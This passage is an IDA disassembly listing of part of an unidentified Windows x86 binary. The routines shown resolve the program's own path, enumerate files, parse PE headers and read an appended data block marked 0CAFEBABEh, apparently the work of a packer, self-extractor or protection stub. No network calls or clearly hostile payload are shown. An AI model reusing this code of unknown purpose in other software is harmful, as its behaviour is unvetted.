[ebp+0Ch] jge short locret_4D2D46 mov eax, [ebp-0Ch] add eax, 68h push eax push dword ptr [ebp-4] push dword ptr [ebp-4] mov ecx, [ebp-0Ch] call sub_4D26D7 mov eax, [ebp-4] add eax, 8 mov [ebp-4], eax jmp short loc_4D2D17 ; --------------------------------------------------------------------------- locret_4D2D46: ; CODE XREF: _4:004D2D24j leave retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D2D50 proc near ; CODE XREF: sub_4D931F+1Ap ; sub_4D9A34+11p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push esi push edi mov eax, ds:dword_4E18F0 mov [ebp+var_4], eax mov ecx, ds:dword_4E18F4 imul ecx, 18h mov edx, ds:dword_4E18F0 add edx, ecx mov [ebp+var_8], edx jmp short loc_4D2D7F ; --------------------------------------------------------------------------- loc_4D2D76: ; CODE XREF: sub_4D2D50:loc_4D2DB7j mov eax, [ebp+var_4] add eax, 18h mov [ebp+var_4], eax loc_4D2D7F: ; CODE XREF: sub_4D2D50+24j mov ecx, [ebp+var_4] cmp ecx, [ebp+var_8] jz short loc_4D2DB9 mov ecx, 10h mov edi, [ebp+arg_0] mov esi, [ebp+var_4] xor edx, edx mov [ebp+var_C], edx repe cmpsb jz short loc_4D2DA3 sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_C], eax loc_4D2DA3: ; CODE XREF: sub_4D2D50+49j mov ecx, [ebp+var_C] mov [ebp+var_10], ecx cmp [ebp+var_10], 0 jnz short loc_4D2DB7 mov edx, [ebp+var_4] mov eax, [edx+10h] jmp short loc_4D2DBB ; --------------------------------------------------------------------------- loc_4D2DB7: ; CODE XREF: sub_4D2D50+5Dj jmp short loc_4D2D76 ; --------------------------------------------------------------------------- loc_4D2DB9: ; CODE XREF: sub_4D2D50+35j xor eax, eax loc_4D2DBB: ; CODE XREF: sub_4D2D50+65j pop edi pop esi mov esp, ebp pop ebp retn sub_4D2D50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D2DD0 proc near ; CODE XREF: sub_4D4DC0+Dp var_1F8 = dword ptr -1F8h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_1EC = dword ptr -1ECh var_1E8 = dword ptr -1E8h var_1DC = dword ptr -1DCh var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = dword ptr -1BCh var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = dword ptr -19Ch var_170 = byte ptr -170h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004D35F3 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE408 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFE18h push ebx push esi push edi mov [ebp+var_18], esp push offset dword_4E18C8 call ds:dword_4E174C ; InitializeCriticalSection mov [ebp+var_1C], 0 mov [ebp+var_20], 0 mov [ebp+var_24], 0FFFFFFFFh mov [ebp+var_4], 0 call sub_4CDE50 and eax, 0FFh mov ds:dword_4E0B68, eax push 400h call sub_4D835A add esp, 4 mov [ebp+var_1AC], eax mov eax, [ebp+var_1AC] mov [ebp+var_1C], eax push 0C1Ch call sub_4D835A add esp, 4 mov [ebp+var_1B0], eax mov ecx, [ebp+var_1B0] mov [ebp+var_20], ecx mov ecx, 307h xor eax, eax mov edi, [ebp+var_20] rep stosd push 400h mov edx, [ebp+var_20] add edx, 10h push edx push 0 call ds:dword_4E1718 ; GetModuleHandleA push eax call ds:dword_4E1714 ; GetModuleFileNameA mov eax, [ebp+var_20] add eax, 0C10h push eax mov ecx, [ebp+var_1C] push ecx push 400h mov edx, [ebp+var_20] add edx, 10h push edx call ds:dword_4E1708 ; GetFullPathNameA push offset aGetlongpathnam ; "GetLongPathNameA" push offset aKernel32_0 ; "kernel32" call ds:dword_4E1718 ; GetModuleHandleA push eax call ds:dword_4E1728 ; GetProcAddress mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_4D2EE2 push 400h mov eax, [ebp+var_20] add eax, 10h push eax mov ecx, [ebp+var_1C] push ecx call [ebp+var_2C] jmp short loc_4D2F08 ; --------------------------------------------------------------------------- loc_4D2EE2: ; CODE XREF: sub_4D2DD0+FBj mov edi, [ebp+var_1C] mov edx, [ebp+var_20] add edx, 10h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4D2F08: ; CODE XREF: sub_4D2DD0+110j mov edi, [ebp+var_20] add edi, 10h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh push ecx mov ecx, [ebp+var_20] add ecx, 10h push ecx call ds:dword_4E17C8 ; CharUpperBuffA push 5Ch mov edx, [ebp+var_20] add edx, 10h push edx call sub_4CC700 add esp, 8 add eax, 1 mov ecx, [ebp+var_20] mov [ecx+0C10h], eax mov edx, [ebp+var_20] add edx, 10h mov eax, [ebp+var_20] mov ecx, [eax+0C10h] sub ecx, edx mov edx, [ebp+var_20] mov [edx+0C14h], ecx push 400h mov eax, [ebp+var_20] add eax, 410h push eax mov ecx, [ebp+var_1C] push ecx call ds:dword_4DE020 ; GetShortPathNameA mov edi, [ebp+var_20] add edi, 410h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh push ecx mov edx, [ebp+var_20] add edx, 410h push edx call ds:dword_4E17C8 ; CharUpperBuffA push 5Ch mov eax, [ebp+var_20] add eax, 410h push eax call sub_4CC700 add esp, 8 add eax, 1 mov ecx, [ebp+var_20] add ecx, 410h sub eax, ecx mov edx, [ebp+var_20] mov [edx+0C18h], eax mov edi, [ebp+var_20] add edi, 10h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov [ebp+var_30], ecx mov eax, [ebp+var_30] add eax, 1 push eax call sub_4D835A add esp, 4 mov [ebp+var_1B4], eax mov ecx, [ebp+var_1B4] mov ds:dword_4E190C, ecx mov edx, [ebp+var_20] add edx, 10h mov edi, edx mov edx, ds:dword_4E190C or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ds:dword_4E1684 mov edx, [ecx+24h] and edx, 2 neg edx sbb edx, edx neg edx mov byte ptr [ebp+var_28], dl mov eax, [ebp+var_28] and eax, 0FFh test eax, eax jz loc_4D3101 mov ecx, ds:dword_4E1684 mov edx, [ecx+2Ch] add edx, 30h mov [ebp+var_3C], edx mov edi, [ebp+var_3C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov [ebp+var_38], ecx push 5Ch mov eax, [ebp+var_20] add eax, 10h push eax call sub_4CC700 add esp, 8 mov [ebp+var_34], eax cmp [ebp+var_34], 0 jnz short loc_4D30A4 mov edi, [ebp+var_20] add edi, 10h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov edx, [ebp+var_20] lea eax, [edx+ecx+10h] mov [ebp+var_34], eax loc_4D30A4: ; CODE XREF: sub_4D2DD0+2B6j mov ecx, [ebp+var_20] add ecx, 10h mov edx, [ebp+var_34] sub edx, ecx add edx, [ebp+var_38] cmp edx, 104h jb short loc_4D30C4 mov ecx, 0EF000004h call sub_4D8342 loc_4D30C4: ; CODE XREF: sub_4D2DD0+2E8j mov ecx, [ebp+var_38] add ecx, 1 mov esi, [ebp+var_3C] mov edi, [ebp+var_34] add edi, 1 mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, [ebp+var_20] add edi, 10h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh push ecx mov ecx, [ebp+var_20] add ecx, 10h push ecx call ds:dword_4E17C8 ; CharUpperBuffA loc_4D3101: ; CODE XREF: sub_4D2DD0+277j mov edx, [ebp+var_20] mov dword ptr [edx], 0 mov eax, [ebp+var_20] mov dword ptr [eax+4], 0 mov ecx, [ebp+var_20] mov ds:dword_4E1908, ecx mov edx, ds:dword_4E1684 mov eax, [edx+24h] and eax, 1 test eax, eax jz short loc_4D3140 push 1 push 1 mov ecx, [ebp+var_20] add ecx, 10h push ecx call sub_4D3610 add esp, 0Ch loc_4D3140: ; CODE XREF: sub_4D2DD0+35Bj push 105h call sub_4D835A add esp, 4 mov [ebp+var_1B8], eax mov edx, [ebp+var_1B8] mov [ebp+var_44], edx push 5Ch mov eax, [ebp+var_20] add eax, 10h push eax call sub_4CC700 add esp, 8 add eax, 1 mov [ebp+var_50], eax mov [ebp+var_48], 0 mov ecx, ds:dword_4E1684 mov edx, [ecx+2Ch] add edx, 71h mov [ebp+var_4C], edx mov edi, [ebp+var_4C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov eax, [ebp+var_4C] add eax, ecx mov [ebp+var_40], eax mov ecx, [ebp+var_4C] cmp ecx, [ebp+var_40] jz loc_4D33DB mov [ebp+var_48], 1 mov edx, [ebp+var_4C] mov [ebp+var_1A0], edx jmp short loc_4D31CD ; --------------------------------------------------------------------------- loc_4D31BE: ; CODE XREF: sub_4D2DD0:loc_4D31F8j mov eax, [ebp+var_1A0] add eax, 1 mov [ebp+var_1A0], eax loc_4D31CD: ; CODE XREF: sub_4D2DD0+3ECj mov ecx, [ebp+var_1A0] cmp ecx, [ebp+var_40] jz short loc_4D31FA mov edx, [ebp+var_1A0] movsx eax, byte ptr [edx] cmp eax, 3Bh jnz short loc_4D31F8 mov ecx, [ebp+var_1A0] mov byte ptr [ecx], 0 mov edx, [ebp+var_48] add edx, 1 mov [ebp+var_48], edx loc_4D31F8: ; CODE XREF: sub_4D2DD0+414j jmp short loc_4D31BE ; --------------------------------------------------------------------------- loc_4D31FA: ; CODE XREF: sub_4D2DD0+406j mov eax, [ebp+var_20] add eax, 810h mov edi, eax mov edx, [ebp+var_44] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea ecx, [ebp+var_54] push ecx mov edx, [ebp+var_44] push edx push 104h mov eax, [ebp+var_1C] push eax call ds:dword_4E1708 ; GetFullPathNameA mov edi, [ebp+var_44] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh push ecx mov ecx, [ebp+var_44] push ecx call ds:dword_4E17C8 ; CharUpperBuffA mov edx, [ebp+var_4C] mov [ebp+var_58], edx mov [ebp+var_5C], 0 jmp short loc_4D326D ; --------------------------------------------------------------------------- loc_4D3264: ; CODE XREF: sub_4D2DD0+606j mov eax, [ebp+var_5C] add eax, 1 mov [ebp+var_5C], eax loc_4D326D: ; CODE XREF: sub_4D2DD0+492j mov ecx, [ebp+var_5C] cmp ecx, [ebp+var_48] jnb loc_4D33DB mov edi, [ebp+var_58] mov edx, [ebp+var_54] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea ecx, [ebp+var_19C] push ecx mov edx, [ebp+var_44] push edx call ds:dword_4E16D0 ; FindFirstFileA mov [ebp+var_1A4], eax cmp [ebp+var_1A4], 0FFFFFFFFh jz loc_4D33B8 loc_4D32C0: ; CODE XREF: sub_4D2DD0+5D5j mov eax, [ebp+var_19C] and eax, 10h test eax, eax jnz loc_4D338F mov ecx, [ebp+var_50] push ecx lea edx, [ebp+var_170] push edx call ds:dword_4E17C0 ; lstrcmpi test eax, eax jz loc_4D338F lea edi, [ebp+var_170] mov edx, [ebp+var_54] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, [ebp+var_54] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh push ecx mov ecx, [ebp+var_54] push ecx call ds:dword_4E17C8 ; CharUpperBuffA mov [ebp+var_1A8], 0 mov [ebp+var_4], 1 push 0 push 1 mov edx, [ebp+var_44] push edx call sub_4D3610 add esp, 0Ch mov [ebp+var_4], 0 jmp short loc_4D338F ; --------------------------------------------------------------------------- loc_4D3354: ; DATA XREF: _5:004DE418o mov eax, [ebp+var_14] mov ecx, [eax] mov edx, [ecx] mov [ebp+var_1E8], edx mov eax, [ebp+var_1E8] mov [ebp+var_1A8], eax mov ecx, [ebp+var_1A8] and ecx, 0EF000000h xor eax, eax cmp ecx, 0EF000000h setz al retn ; --------------------------------------------------------------------------- loc_4D3385: ; DATA XREF: _5:004DE41Co mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_4D338F: ; CODE XREF: sub_4D2DD0+4FBj ; sub_4D2DD0+514j ... lea edx, [ebp+var_19C] push edx mov eax, [ebp+var_1A4] push eax call ds:dword_4E16D4 ; FindNextFileA test eax, eax jnz loc_4D32C0 mov ecx, [ebp+var_1A4] push ecx call ds:dword_4E16CC ; FindClose loc_4D33B8: ; CODE XREF: sub_4D2DD0+4EAj ; sub_4D2DD0+5FBj mov edx, [ebp+var_58] movsx eax, byte ptr [edx] test eax, eax jz short loc_4D33CD mov ecx, [ebp+var_58] add ecx, 1 mov [ebp+var_58], ecx jmp short loc_4D33B8 ; --------------------------------------------------------------------------- loc_4D33CD: ; CODE XREF: sub_4D2DD0+5F0j mov edx, [ebp+var_58] add edx, 1 mov [ebp+var_58], edx jmp loc_4D3264 ; --------------------------------------------------------------------------- loc_4D33DB: ; CODE XREF: sub_4D2DD0+3D6j ; sub_4D2DD0+4A3j mov eax, [ebp+var_44] mov [ebp+var_1BC], eax mov ecx, [ebp+var_1BC] push ecx call sub_4D83DD add esp, 4 call sub_4D4490 push 10040h call sub_4D835A add esp, 4 mov [ebp+var_1C0], eax mov edx, [ebp+var_1C0] mov ds:dword_4E18F8, edx push 10000h call sub_4D835A add esp, 4 mov [ebp+var_1C4], eax mov eax, [ebp+var_1C4] mov ds:dword_4E18FC, eax push 10000h call sub_4D835A add esp, 4 mov [ebp+var_1C8], eax mov ecx, [ebp+var_1C8] mov ds:dword_4E1900, ecx push 10000h call sub_4D835A add esp, 4 mov [ebp+var_1CC], eax mov edx, [ebp+var_1CC] mov ds:dword_4E1904, edx push 28h call sub_4D835A add esp, 4 mov [ebp+var_1D0], eax cmp [ebp+var_1D0], 0 jz short loc_4D34A4 push 83h mov ecx, [ebp+var_1D0] call sub_4DB77C mov [ebp+var_1EC], eax jmp short loc_4D34AE ; --------------------------------------------------------------------------- loc_4D34A4: ; CODE XREF: sub_4D2DD0+6BAj mov [ebp+var_1EC], 0 loc_4D34AE: ; CODE XREF: sub_4D2DD0+6D2j mov eax, [ebp+var_1EC] mov ds:dword_4E18E4, eax push 28h call sub_4D835A add esp, 4 mov [ebp+var_1D4], eax cmp [ebp+var_1D4], 0 jz short loc_4D34EA push 83h mov ecx, [ebp+var_1D4] call sub_4DB77C mov [ebp+var_1F0], eax jmp short loc_4D34F4 ; --------------------------------------------------------------------------- loc_4D34EA: ; CODE XREF: sub_4D2DD0+700j mov [ebp+var_1F0], 0 loc_4D34F4: ; CODE XREF: sub_4D2DD0+718j mov ecx, [ebp+var_1F0] mov ds:dword_4E18E8, ecx push 28h call sub_4D835A add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 0 jz short loc_4D3531 push 83h mov ecx, [ebp+var_1D8] call sub_4DB77C mov [ebp+var_1F4], eax jmp short loc_4D353B ; --------------------------------------------------------------------------- loc_4D3531: ; CODE XREF: sub_4D2DD0+747j mov [ebp+var_1F4], 0 loc_4D353B: ; CODE XREF: sub_4D2DD0+75Fj mov edx, [ebp+var_1F4] mov ds:dword_4E18E0, edx push 28h call sub_4D835A add esp, 4 mov [ebp+var_1DC], eax cmp [ebp+var_1DC], 0 jz short loc_4D3578 push 83h mov ecx, [ebp+var_1DC] call sub_4DB77C mov [ebp+var_1F8], eax jmp short loc_4D3582 ; --------------------------------------------------------------------------- loc_4D3578: ; CODE XREF: sub_4D2DD0+78Ej mov [ebp+var_1F8], 0 loc_4D3582: ; CODE XREF: sub_4D2DD0+7A6j mov eax, [ebp+var_1F8] mov ds:dword_4E18EC, eax mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh call sub_4D35A2 jmp short loc_4D35F3 sub_4D2DD0 endp ; =============== S U B R O U T I N E ======================================= sub_4D35A2 proc near ; CODE XREF: sub_4D2DD0+7CBp ; DATA XREF: _5:004DE410o mov ecx, [ebp-1Ch] mov [ebp-1E0h], ecx mov edx, [ebp-1E0h] push edx call sub_4D83DD add esp, 4 cmp dword ptr [ebp-20h], 0 jz short loc_4D35E2 mov ds:dword_4E1908, 0 mov eax, [ebp-20h] mov [ebp-1E4h], eax mov ecx, [ebp-1E4h] push ecx call sub_4D83DD add esp, 4 loc_4D35E2: ; CODE XREF: sub_4D35A2+1Cj cmp dword ptr [ebp-24h], 0FFFFFFFFh jz short locret_4D35F2 mov edx, [ebp-24h] push edx call ds:dword_4E16A4 ; CloseHandle locret_4D35F2: ; CODE XREF: sub_4D35A2+44j retn sub_4D35A2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D2DD0 loc_4D35F3: ; CODE XREF: sub_4D2DD0+7D0j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4D2DD0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D3610 proc near ; CODE XREF: sub_4D2DD0+368p ; sub_4D2DD0+573p var_308 = dword ptr -308h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_238 = dword ptr -238h var_234 = dword ptr -234h var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = byte ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = byte ptr -130h var_C4 = byte ptr -0C4h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_A0 = byte ptr -0A0h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6C = byte ptr -6Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE420 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFCE0h push ebx push esi push edi mov [ebp+var_20], 0 mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov [ebp+var_1C], ecx mov [ebp+var_28], 0FFFFFFFFh mov [ebp+var_24], 0 mov [ebp+var_4], 0 push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+arg_0] push eax call ds:dword_4E16A8 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_4D3690 mov ecx, 0EF000005h call sub_4D8342 loc_4D3690: ; CODE XREF: sub_4D3610+74j push 0 mov ecx, [ebp+var_28] push ecx call ds:dword_4E1700 ; GetFileSize mov [ebp+var_54], eax mov [ebp+var_78], 0 mov edx, [ebp+arg_8] and edx, 0FFh test edx, edx jz loc_4D392F mov eax, ds:dword_4E1684 mov ecx, [eax+24h] and ecx, 2 test ecx, ecx jnz loc_4D392F mov edx, ds:dword_4E1684 mov eax, [edx+4] mov [ebp+var_88], eax mov ecx, [ebp+var_88] mov edx, [ebp+var_88] add edx, [ecx+3Ch] mov ds:dword_4E1910, edx mov eax, ds:dword_4E1910 cmp dword ptr [eax], 4550h jz short loc_4D3705 mov ecx, 0EF000002h call sub_4D8342 loc_4D3705: ; CODE XREF: sub_4D3610+E9j mov ecx, ds:dword_4E1910 xor edx, edx mov dx, [ecx+14h] mov eax, ds:dword_4E1910 lea ecx, [eax+edx+18h] mov [ebp+var_84], ecx mov edx, ds:dword_4E1910 add edx, 98h mov [ebp+var_7C], edx mov [ebp+var_8C], 0 mov eax, ds:dword_4E1910 xor ecx, ecx mov cx, [eax+6] mov [ebp+var_80], ecx jmp short loc_4D3752 ; --------------------------------------------------------------------------- loc_4D3749: ; CODE XREF: sub_4D3610:loc_4D3782j mov edx, [ebp+var_80] sub edx, 1 mov [ebp+var_80], edx loc_4D3752: ; CODE XREF: sub_4D3610+137j cmp [ebp+var_80], 0 jl loc_4D3893 mov eax, [ebp+var_80] imul eax, 28h mov ecx, [ebp+var_84] cmp dword ptr [ecx+eax+10h], 0 jz short loc_4D3782 mov edx, [ebp+var_80] imul edx, 28h mov eax, [ebp+var_84] cmp dword ptr [eax+edx+14h], 0 jnz short loc_4D3784 loc_4D3782: ; CODE XREF: sub_4D3610+15Dj jmp short loc_4D3749 ; --------------------------------------------------------------------------- loc_4D3784: ; CODE XREF: sub_4D3610+170j mov ecx, [ebp+var_80] imul ecx, 28h mov edx, [ebp+var_80] imul edx, 28h mov eax, [ebp+var_84] mov edx, [eax+edx+10h] mov eax, ds:dword_4E1910 mov eax, [eax+3Ch] lea edx, [edx+eax-1] mov eax, ds:dword_4E1910 mov eax, [eax+3Ch] sub eax, 1 not eax and edx, eax mov eax, [ebp+var_84] mov ecx, [eax+ecx+14h] add ecx, edx mov [ebp+var_8C], ecx push 0 push 0 mov edx, [ebp+var_8C] push edx mov eax, [ebp+var_28] push eax call ds:dword_4E1788 ; SetFilePointer mov [ebp+var_B4], eax push 0 lea ecx, [ebp+var_90] push ecx push 20h lea edx, [ebp+var_B0] push edx mov eax, [ebp+var_28] push eax call ds:dword_4E177C ; ReadFile test eax, eax jz loc_4D3893 cmp [ebp+var_90], 20h jnz loc_4D3893 lea ecx, [ebp+var_130] call sub_4D7798 push 10h lea ecx, [ebp+var_B0] push ecx lea ecx, [ebp+var_130] call sub_4D77A4 lea edx, [ebp+var_C4] push edx lea ecx, [ebp+var_130] call sub_4D785D mov ecx, 4 lea edi, [ebp+var_A0] lea esi, [ebp+var_C4] xor eax, eax repe cmpsd jnz short loc_4D3893 mov ecx, [ebp+var_8C] add ecx, [ebp+var_B0] mov [ebp+var_78], ecx push 2 push 0 push 0 mov edx, [ebp+var_28] push edx call ds:dword_4E1788 ; SetFilePointer mov [ebp+var_134], eax mov eax, [ebp+var_134] sub eax, [ebp+var_78] neg eax mov [ebp+var_78], eax jmp loc_4D392F ; --------------------------------------------------------------------------- loc_4D3893: ; CODE XREF: sub_4D3610+146j ; sub_4D3610+1F0j ... mov ecx, [ebp+var_7C] cmp dword ptr [ecx], 0 jz loc_4D392F mov edx, [ebp+var_7C] cmp dword ptr [edx+4], 0 jz loc_4D392F mov eax, [ebp+var_7C] mov ecx, [ebp+var_54] sub ecx, [eax] neg ecx mov [ebp+var_78], ecx mov edx, [ebp+var_7C] mov eax, [edx] mov [ebp+var_54], eax mov [ebp+var_138], 0 loc_4D38CB: ; CODE XREF: sub_4D3610+31Dj push 2 push 0 mov ecx, [ebp+var_78] sub ecx, 1 push ecx mov edx, [ebp+var_28] push edx call ds:dword_4E1788 ; SetFilePointer mov [ebp+var_140], eax push 0 lea eax, [ebp+var_13C] push eax push 1 lea ecx, [ebp+var_138] push ecx mov edx, [ebp+var_28] push edx call ds:dword_4E177C ; ReadFile test eax, eax jnz short loc_4D3910 mov ecx, 0EF000006h call sub_4D8342 loc_4D3910: ; CODE XREF: sub_4D3610+2F4j cmp [ebp+var_138], 0 jz short loc_4D391B jmp short loc_4D392F ; --------------------------------------------------------------------------- loc_4D391B: ; CODE XREF: sub_4D3610+307j mov eax, [ebp+var_78] sub eax, 1 mov [ebp+var_78], eax mov ecx, [ebp+var_54] sub ecx, 1 mov [ebp+var_54], ecx jmp short loc_4D38CB ; --------------------------------------------------------------------------- loc_4D392F: ; CODE XREF: sub_4D3610+A1j ; sub_4D3610+B4j ... push 2 push 0 mov edx, [ebp+var_78] sub edx, 4 push edx mov eax, [ebp+var_28] push eax call ds:dword_4E1788 ; SetFilePointer mov [ebp+var_74], eax mov ecx, [ebp+var_54] add ecx, [ebp+var_78] mov [ebp+var_54], ecx mov [ebp+var_144], 0 push 0 lea edx, [ebp+var_144] push edx push 4 lea eax, [ebp+var_148] push eax mov ecx, [ebp+var_28] push ecx call ds:dword_4E177C ; ReadFile test eax, eax jz short loc_4D3983 cmp [ebp+var_144], 4 jz short loc_4D398D loc_4D3983: ; CODE XREF: sub_4D3610+368j mov ecx, 0EF000006h call sub_4D8342 loc_4D398D: ; CODE XREF: sub_4D3610+371j cmp [ebp+var_148], 0CAFEBABEh jz short loc_4D39B0 mov edx, [ebp+var_148] xor edx, 0CAFEBABEh xor edx, [ebp+var_54] mov [ebp+var_308], edx jmp short loc_4D39BB ; --------------------------------------------------------------------------- loc_4D39B0: ; CODE XREF: sub_4D3610+387j mov eax, ds:dword_4E0BD8 mov [ebp+var_308], eax loc_4D39BB: ; CODE XREF: sub_4D3610+39Ej mov ecx, [ebp+var_308] mov [ebp+var_14C], ecx mov edx, [ebp+arg_4] and edx, 0FFh test edx, edx jz short loc_4D39EF mov eax, offset dword_4E0BD8 lea ecx, [ebp+var_14C] mov edx, [ecx] cmp edx, [eax] jz short loc_4D39EF mov ecx, 0EF000007h call sub_4D8342 loc_4D39EF: ; CODE XREF: sub_4D3610+3C2j ; sub_4D3610+3D3j push 2 push 0 mov eax, [ebp+var_78] sub eax, 14h push eax mov ecx, [ebp+var_28] push ecx call ds:dword_4E1788 ; SetFilePointer mov [ebp+var_150], 0 push 0 lea edx, [ebp+var_150] push edx push 10h lea eax, [ebp+var_4C] push eax mov ecx, [ebp+var_28] push ecx call ds:dword_4E177C ; ReadFile test eax, eax jz short loc_4D3A34 cmp [ebp+var_150], 10h jz short loc_4D3A3E loc_4D3A34: ; CODE XREF: sub_4D3610+419j mov ecx, 0EF000006h call sub_4D8342 loc_4D3A3E: ; CODE XREF: sub_4D3610+422j mov edx, [ebp+arg_8] and edx, 0FFh neg edx sbb edx, edx and edx, 0Ch mov [ebp+var_68], edx push 2 push 0 mov eax, [ebp+var_68] add eax, 2Ch mov ecx, [ebp+var_78] sub ecx, eax push ecx mov edx, [ebp+var_28] push edx call ds:dword_4E1788 ; SetFilePointer mov [ebp+var_154], 0 mov eax, [ebp+arg_8] and eax, 0FFh test eax, eax jz loc_4D3B15 push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_34] push edx mov eax, [ebp+var_28] push eax call ds:dword_4E177C ; ReadFile test eax, eax jz short loc_4D3AAB cmp [ebp+var_154], 4 jz short loc_4D3AB5 loc_4D3AAB: ; CODE XREF: sub_4D3610+490j mov ecx, 0EF000006h call sub_4D8342 loc_4D3AB5: ; CODE XREF: sub_4D3610+499j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_50] push edx mov eax, [ebp+var_28] push eax call ds:dword_4E177C ; ReadFile test eax, eax jz short loc_4D3ADB cmp [ebp+var_154], 4 jz short loc_4D3AE5 loc_4D3ADB: ; CODE XREF: sub_4D3610+4C0j mov ecx, 0EF000006h call sub_4D8342 loc_4D3AE5: ; CODE XREF: sub_4D3610+4C9j push 0 lea ecx, [ebp+var_154] push ecx push 4 lea edx, [ebp+var_38] push edx mov eax, [ebp+var_28] push eax call ds:dword_4E177C ; ReadFile test eax, eax jz short loc_4D3B0B cmp [ebp+var_154], 4 jz short loc_4D3B15 loc_4D3B0B: ; 